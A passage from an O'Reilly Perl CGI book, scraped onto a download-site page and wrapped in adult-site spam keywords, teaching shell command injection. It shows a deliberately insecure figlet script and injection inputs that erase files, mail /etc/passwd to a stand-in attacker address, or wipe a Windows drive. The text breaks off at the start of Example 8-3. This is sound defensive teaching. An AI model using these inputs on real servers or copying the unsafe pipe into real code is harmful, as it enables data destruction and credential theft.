亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? ch08_02.htm

?? 用perl編寫CGI的好書。本書從解釋CGI和底層HTTP協議如何工作開始
?? HTM
?? 第 1 頁 / 共 2 頁
字號:
<?label 8.2. Handling User Input?><html><head><title>Handling User Input (CGI Programming with Perl)</title><link href="../style/style1.css" type="text/css" rel="stylesheet" /><meta name="DC.Creator" content="Scott Guelich, Gunther Birznieks and Shishir Gundavaram" /><meta scheme="MIME" content="text/xml" name="DC.Format" /><meta content="en-US" name="DC.Language" /><meta content="O'Reilly & Associates, Inc." name="DC.Publisher" /><meta scheme="ISBN" name="DC.Source" content="1565924193L" /><meta name="DC.Subject.Keyword" content="stuff" /><meta name="DC.Title" content="CGI Programming with Perl" /><meta content="Text.Monograph" name="DC.Type" /></head><body bgcolor="#ffffff"><img src="gifs/smbanner.gif" alt="Book Home" usemap="#banner-map" border="0" /><map name="banner-map"><area alt="CGI Programming with Perl" href="index.htm" coords="0,0,466,65" shape="rect" /><area alt="Search this book" href="jobjects/fsearch.htm" coords="467,0,514,18" shape="rect" /></map><div class="navbar"><table border="0" width="515"><tr><td width="172" valign="top" align="left"><a href="ch08_01.htm"><img src="../gifs/txtpreva.gif" alt="Previous" border="0" /></a></td><td width="171" valign="top" align="center"><a href="index.htm">CGI Programming with Perl</a></td><td width="172" valign="top" align="right"><a href="ch08_03.htm"><img src="../gifs/txtnexta.gif" alt="Next" border="0" /></a></td></tr></table></div><hr align="left" width="515" /><h2 class="sect1">8.2. Handling User Input</h2><p>Security problems<a name="INDEX-1670" /> <a name="INDEX-1,671" /><a name="INDEX-1672" /> <a name="INDEX-1,673" /> arise when you make assumptions aboutyour data: you assume that users will do what you expect, and theysurprise you. Users are good at this, even when they're nottrying. To write secure CGI scripts, you must also think creatively.Let's look at an example.</p><a name="ch08-1-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.1. Calling External Applications</h3><p><tt class="command">figlet</tt><a name="INDEX-1674" /> <a name="INDEX-1,675" /><a name="INDEX-1676" /> is afun application that allows us to create large, fancy ASCII artcharacters in many different sizes and styles. You can find examplesof <em class="emphasis">figlet</em> output as part of people'ssignatures in email messages and newsgroup posts. If<em class="emphasis">figlet</em> is not on your system, you can get itfrom <a href="http://st-www.cs.uiuc.edu/users/chai/figlet.html">http://st-www.cs.uiuc.edu/users/chai/figlet.html</a>.</p><p>You can execute <tt class="command">figlet</tt> from the command line inthe following manner:</p><blockquote><pre class="code">$ figlet -f fonts/slant 'I Love CGI!'</pre></blockquote><p>And the output would be:</p><blockquote><pre class="code">____   __                       ______________________   /  _/  / /   ____ _   _____     / ____/ __  _  _/  _/ /   / /   / /   / _  _ \ | / / _ \   / /   / / _  _ / // / _/ /   / /___/ /_/ / |/ /  __/  / /_  _  _/ /_/ // //_//___/  /_____/\____/|___/\___/   \____/\____/_  _  _(_)</pre></blockquote><p>We can write a CGI gateway to <tt class="command">figlet</tt> that allows auser to enter some text, executes a command like the one shown above,captures the output, and returns it to the browser.</p><p>First, <a href="ch08_02.htm#ch08-87350">Example 8-1</a> shows the<a name="INDEX-1677" />HTML form.</p><a name="ch08-87350" /><div class="example"><h4 class="objtitle">Example 8-1. figlet.html </h4><blockquote><pre class="code">&lt;html&gt;  &lt;head&gt;    &lt;title&gt;Figlet Gateway&lt;/title&gt;  &lt;/head&gt;    &lt;body bgcolor="#FFFFFF"&gt;        &lt;div align="center"&gt;    &lt;h2&gt;Figlet Gateway&lt;/h2&gt;        &lt;form action="/cgi/unsafe/figlet_INSECURE.cgi" method="GET"&gt;      &lt;p&gt;Please enter a string to pass to figlet:        &lt;input type="text" name="string"&gt;&lt;/p&gt;      &lt;input type="submit"&gt;    &lt;/form&gt;    &lt;/body&gt;&lt;/html&gt;</pre></blockquote></div><p>Now, <a href="ch08_02.htm#ch08-67876">Example 8-2</a> shows the program.</p><a name="ch08-67876" /><div class="example"><h4 class="objtitle">Example 8-2. figlet_INSECURE.cgi </h4><a name="INDEX-1678" /><blockquote><pre class="code">#!/usr/bin/perl -wuse strict;use CGI;use CGIBook::Error;# Constant: path to figletmy $FIGLET = '/usr/local/bin/figlet';my $q      = new CGI;my $string = $q-&gt;param( "string" );unless ( $string ) {    error( $q, "Please enter some text to display." );}local *PIPE;## This code is INSECURE...## Do NOT use this code on a live web server!!open PIPE, "$FIGLET \"$string\" |" or    die "Cannot open pipe to figlet: $!";print $q-&gt;header( "text/plain" );print while &lt;PIPE&gt;;close PIPE;</pre></blockquote></div><p>We first verify that the user entered a string and simply print anerror if not. Then we open a<a name="INDEX-1679" /><a name="INDEX-1680" />pipe (notice the trailing"|"character) to the <tt class="command">figlet</tt> command,passing it the string. By opening a pipe to another application, wecan read from it as though it is a file. In this case, we can get atthe <tt class="command">figlet</tt> output by simply reading from the PIPEfile handle.</p><p>We then print our content type, followed by the<tt class="command">figlet</tt> output. Perl lets us do this on one line:the <tt class="function">while</tt> loop reads a line from PIPE, stores itin <tt class="literal">$_</tt>, and calls <em class="emphasis">print</em>;when <em class="emphasis">print</em> is called without an argument, itwill output the value stored in <tt class="literal">$_</tt>; the loopautomatically terminates when all the data has been read from<tt class="command">figlet</tt>.</p><p>Admittedly, our example is somewhat dull. <tt class="command">figlet</tt>has many options for changing the font, etc., but we want to keep ourexample short and simple to be able to focus on the security issues.Many people assume that it's hard for something to go wrongwith scripts this simple. In fact, this CGI script allows a savvyuser to execute <em class="emphasis">any</em> command on your system!</p><p>Before reading further, see if you can figure out how this example isinsecure. Remember that your commands are executed with the samepermissions that your web server runs as (e.g.,<em class="emphasis">nobody</em>). If you want to test it on a web server,then only do so on a private web server that is<em class="emphasis">not</em> attached to the Internet! Finally, try tofigure out how to fix this security problem.</p><p>The reason why we suggest that you try to find the solution yourselfis that there are many possible solutions that appear secure but arenot. Before we look at the solutions, let's analyze theproblem. It should have been pretty obvious (if only from thecomments in the code), that the culprit is the call that opens a pipeto <tt class="command">figlet</tt>. Why is this insecure? Well, itisn't if the user does in fact pass simple words withoutpunctuation. But if you assume this then you would be forgetting ourrule: never trust any data from the user.</p></div><a name="ch08-2-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.2. User Input and the Shell</h3><p>You should not assume this field will contain harmless data. It couldbe anything. When Perl opens a<a name="INDEX-1681" /> <a name="INDEX-1,682" />pipe to an external program, itpasses the command through a<a name="INDEX-1683" /><a name="INDEX-1684" />shell.Suppose the input were the text:</p><blockquote><pre class="code">`rm -rf /`</pre></blockquote><p>or:</p><blockquote><pre class="code">"; mail cracker@badguys.net &lt;/etc/passwd"</pre></blockquote><p>These commands would execute as if the following commands had beenentered into a shell:</p><blockquote><pre class="code">$ /usr/local/bin/figlet "`rm -rf /`"$ /usr/local/bin/figlet ""; mail cracker@badguys.net &lt;/etc/passwd</pre></blockquote><p>The first command would attempt to erase every file on your server,leaving you to search for your backup tapes.<a href="#FOOTNOTE-13">[13]</a> The second wouldemail your system password file to someone you'd probablyrather not have trying to log into your system. Windows servers areno better off; the input <tt class="literal">"| del /f /s /q c:\"</tt>would be just as catastrophic.</p><blockquote><a name="FOOTNOTE-13" /><p>[13]Thisexample shows you why it is important to create a special user like<em class="emphasis">nobody</em> to run your web server and why this usershould own as few files as possible. See <a href="ch01_01.htm">Chapter 1, "Getting Started "</a></p></blockquote><p>So what should we do? Well, the main problem is that the shell givesmany <a name="INDEX-1685" /><a name="INDEX-1686" />characters special meaning. Forexample, the backtick character (<tt class="literal">`</tt>) allows you toembed one command inside another. This makes the shell powerful, butin this context, that power is dangerous. We could attempt to make alist of all the special characters. We would need to include all thecharacters that can cause other commands to run, that change theenvironment in significant ways, or terminate our intended commandsand allow another command to follow.</p><p>We could change the code as follows:</p><blockquote><pre class="code">my $q      = new CGI;my $string = $q-&gt;param( "string" );unless ( $string ) {    error( $q, "Please enter some text to display." );}## This is an incomplete example; this is NOT a secure checkif ( $string =~ /[`\$\\"';&amp; ...  ] ) {    error( $q,        "Your text may not include these characters: `\$\\\"';&amp; ..." );}</pre></blockquote><p>This example is not complete, and we will not provide a full list ofdangerous characters here. We won't create such a list becausewe do not trust that we will not miss something important, and thatis why this is the wrong way to go about solving the problem. Thissolution requires you to know every possible way that the shell canexecute a dangerous command. If you miss just one thing, you can becompromised.</p></div><a name="ch08-3-fm2xml" /><div class="sect2"><h3 class="sect2">8.2.3. Security Strategies</h3><p>The <a name="INDEX-1687" />rightway is not to make a list of what to disallow. The right way is tomake a list of what to allow. This makes the solution much moremanageable. If you start by saying that anything goes and looking forthose things that cause problems, you will spend a long time looking.There are countless combinations to check. If you say that nothinggoes and then slowly add things, you can check each of these as youadd them and confirm that nothing will slip past you. If you misssomething, you have disallowed something you should allow, and youcan correct the problem by testing it and adding it. This is a muchsafer way to error.</p><p>The final reason why this is the safer way to go is that securitysolutions should be simple. It's never a good idea to simplytrust someone else who provides you a "definitive" listof something as important as dangerous shell characters to checkagainst. You are the one who is accountable for your code, so youshould fully understand why and how your code works, and not placeblind faith in others.</p><p>So let's make a<a name="INDEX-1688" />list of things to allow. We will allowletters, numbers, underscores, spaces, hyphens, periods, questionmarks, and exclamation points. That's a lot, and it shouldcover most of the strings that users try to convert. Let's alsoswitch to <a name="INDEX-1689" />single quotes around the argumentto make things even safer. <a href="ch08_02.htm#ch08-83626">Example 8-3</a> provides amore secure version of our CGI script.</p><a name="ch08-83626" /><div class="example"><h4 class="objtitle">Example 8-3. figlet_INSECURE2.cgi </h4><a name="INDEX-1690" /><blockquote><pre class="code">#!/usr/bin/perl -wuse strict;use CGI;use CGIBook::Error;my $FIGLET = '/usr/local/bin/figlet';

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
中文字幕在线不卡一区| 欧美日韩一级视频| 午夜国产精品一区| 国产成人啪免费观看软件| 欧美在线色视频| 国产欧美日本一区二区三区| 视频一区在线播放| 91久久精品一区二区三| 国产农村妇女毛片精品久久麻豆| 日韩精品欧美成人高清一区二区| 97se亚洲国产综合自在线观| 国产女同互慰高潮91漫画| 国产中文一区二区三区| 欧美精品久久一区二区三区| 亚洲一区二区三区爽爽爽爽爽| 成人一区二区三区在线观看| 精品成人a区在线观看| 日韩av一区二区三区四区| 在线视频国内自拍亚洲视频| 精品欧美久久久| 欧美久久久久久久久久| 亚洲一区二区精品久久av| 99re这里只有精品首页| 国产精品三级电影| 国产成人精品一区二区三区四区 | 成人精品高清在线| 26uuu另类欧美亚洲曰本| 日本欧美大码aⅴ在线播放| 91精彩视频在线| 亚洲精品乱码久久久久久久久| 91同城在线观看| 亚洲欧洲综合另类| 91免费国产在线| 玉米视频成人免费看| 日本高清视频一区二区| 亚洲第一福利一区| 7777精品伊人久久久大香线蕉最新版| 五月天激情综合网| 欧美一级一区二区| 欧美日韩一区二区三区在线看| 韩国v欧美v日本v亚洲v| 日韩亚洲欧美一区| 日日夜夜精品视频天天综合网| 欧美视频精品在线观看| 三级欧美韩日大片在线看| 欧美一级搡bbbb搡bbbb| 久久国产尿小便嘘嘘尿| 国产欧美一区二区三区鸳鸯浴 | 国产亚洲欧美一级| 99精品视频在线播放观看| 亚洲精品国久久99热| 欧美精品在线观看一区二区| 久久成人免费电影| 国产精品丝袜一区| 欧美体内she精高潮| 日韩av中文字幕一区二区| 久久久精品人体av艺术| 色婷婷亚洲婷婷| 日韩中文字幕亚洲一区二区va在线| 欧美一二三区在线| 国产成人aaa| 欧美视频完全免费看| 97久久超碰国产精品| 国产欧美一区二区精品性| 色综合一个色综合亚洲| 男男成人高潮片免费网站| 久久久国产精华| 一本久久a久久免费精品不卡| 日韩1区2区日韩1区2区| 中文字幕制服丝袜一区二区三区| 欧美少妇bbb| 国产69精品久久777的优势| 亚洲电影一级黄| 国产肉丝袜一区二区| 精品视频全国免费看| 国产精品99久久久久久似苏梦涵| 亚洲综合久久av| 国产香蕉久久精品综合网| 欧美视频在线观看一区| 成人精品视频.| 狠狠久久亚洲欧美| 午夜视频一区在线观看| 欧美视频中文字幕| 日本高清免费不卡视频| 亚洲精品一二三四区| 精品电影一区二区| 精品视频一区 二区 三区| 97久久精品人人做人人爽50路| 精品一区二区综合| 丝瓜av网站精品一区二区| 亚洲久草在线视频| 国产精品久久久久久久久久免费看| 欧美丰满一区二区免费视频| 色一情一伦一子一伦一区| 国产精品69久久久久水密桃| 毛片一区二区三区| 天天影视网天天综合色在线播放 | 日韩精品一二区| 一区二区高清免费观看影视大全| 国产精品视频在线看| 久久综合九色综合久久久精品综合 | 国产精品福利一区二区| 久久噜噜亚洲综合| 久久久噜噜噜久久中文字幕色伊伊| 91精品国产综合久久婷婷香蕉| 欧美亚洲一区二区在线观看| 不卡一区中文字幕| 在线成人午夜影院| 欧美综合天天夜夜久久| 色八戒一区二区三区| 色综合中文字幕国产 | 精品国产亚洲一区二区三区在线观看 | 丝袜诱惑制服诱惑色一区在线观看| 亚洲日本在线天堂| 亚洲欧美国产77777| 综合电影一区二区三区| 中文字幕一区二区三区四区 | 玖玖九九国产精品| 久久精品久久综合| 国产精品99久久久久久有的能看| 国产高清亚洲一区| 国产不卡视频一区| 91麻豆蜜桃一区二区三区| 色婷婷久久综合| 欧美性猛交xxxxxx富婆| 欧美巨大另类极品videosbest | 久久亚区不卡日本| 国产日韩av一区二区| 国产精品福利在线播放| 亚洲欧洲另类国产综合| 亚洲午夜精品网| 免播放器亚洲一区| 国产成人精品影视| 色婷婷综合激情| 91精品国产品国语在线不卡| 亚洲精品一区二区三区精华液| 久久久久久99精品| 《视频一区视频二区| 亚洲午夜免费福利视频| 麻豆精品视频在线观看免费| 国产91对白在线观看九色| 91久久人澡人人添人人爽欧美 | 毛片基地黄久久久久久天堂| 国产v综合v亚洲欧| 色八戒一区二区三区| 欧美tk丨vk视频| 亚洲精品国产第一综合99久久| 免费国产亚洲视频| www.激情成人| 5月丁香婷婷综合| 日本一区二区三区久久久久久久久不 | 久久se精品一区精品二区| 美女视频网站久久| 99久久精品99国产精品| 日韩午夜激情av| 日韩美女视频一区二区| 蜜臀精品久久久久久蜜臀| 国产精品一区在线| 欧美日韩精品一二三区| 国产精品蜜臀在线观看| 蜜臀久久久久久久| 日本精品裸体写真集在线观看| 日韩欧美自拍偷拍| 亚洲精品乱码久久久久久| 国模冰冰炮一区二区| 欧美性色黄大片| 国产日本欧洲亚洲| 日本女优在线视频一区二区 | 大白屁股一区二区视频| 欧美精品丝袜中出| 亚洲人成在线观看一区二区| 国产一区二区在线观看免费| 欧美三级韩国三级日本三斤 | 激情另类小说区图片区视频区| 国产a精品视频| 4438成人网| 一区二区三区四区高清精品免费观看| 国内一区二区视频| 欧美一区二区三区电影| 亚洲国产一二三| 色婷婷综合久久久中文一区二区| 国产日韩影视精品| 国产尤物一区二区在线 | 99久久国产免费看| 久久免费电影网| 狠狠色综合日日| 日韩精品影音先锋| 日日摸夜夜添夜夜添亚洲女人| 色婷婷久久99综合精品jk白丝| 国产女主播一区| 国产91精品久久久久久久网曝门 | 欧美日韩国产高清一区二区三区 | 国产成a人亚洲精| 欧美精品一区二区三区蜜桃视频| 丝瓜av网站精品一区二区| 欧美日韩亚洲综合一区 | 日韩欧美一区二区免费| 青青草伊人久久| 精品奇米国产一区二区三区| 日本强好片久久久久久aaa|